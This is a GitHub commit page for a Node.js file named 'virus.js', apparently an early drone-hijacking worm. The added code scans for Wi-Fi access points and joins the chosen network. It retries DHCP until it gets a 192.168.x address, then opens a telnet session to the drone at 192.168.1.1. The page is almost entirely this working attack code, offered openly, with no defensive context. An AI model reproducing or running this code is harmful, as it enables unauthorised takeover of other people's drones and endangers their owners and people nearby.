Permalink
Browse files

successfully telnet into a drone

  • Loading branch information...
1 parent cb8af0b commit fe8e4a4b8d61e906b5fd7ffb21eafd7677bd12c1 @substack committed Dec 1, 2012
Showing with 47 additions and 1 deletion.
  1. +47 −1 virus.js
View
@@ -1,4 +1,7 @@
var iw = require('./lib/iw')(process.argv[2] || 'ath0');
+var net = require('net');
+var spawn = require('child_process').spawn;
+var exec = require('child_process').exec;
function attack () {
iw.scan(function (err, nodes) {
@@ -10,9 +13,52 @@ function attack () {
if (!ap) return setTimeout(attack, 5000);
iw.connect(ap.essid, function (err) {
- console.log('err=' + err);
+ if (err) setTimeout(attack, 5000);
+ else dhcp(function (err) {
+ if (err) setTimeout(attack, 5000)
+ else telnet('192.168.1.1')
+ })
});
});
}
+function dhcp (cb) {
+ var failed = false;
+
+ var to1;
+ var to0 = setTimeout(function () {
+ failed = true;
+ if (to1) clearTimeout(to1);
+ cb('timed out');
+ }, 15 * 1000);
+
+ (function retry () {
+ if (failed) return;
+
+ var ps = spawn('dhclient', [ iw.iface ]);
+ ps.on('exit', function () {
+ getAddr(function (addr) {
+ if (/^192\.168\./.test(addr)) {
+ clearTimeout(to0);
+ clearTimeout(to1);
+ cb(null);
+ }
+ else to1 = setTimeout(retry, 5000);
+ });
+ });
+ })();
+}
+
+function getAddr (cb) {
+ exec('ifconfig ' + iw.iface, function (err, stdout) {
+ var m = /inet addr:(\S+)/.exec(stdout);
+ cb(m && m[1]);
+ });
+}
+
+function telnet (addr) {
+ var s = net.connect(23, addr);
+ s.pipe(process.stdout, { end : false });
+}
+
attack();

0 comments on commit fe8e4a4

Please sign in to comment.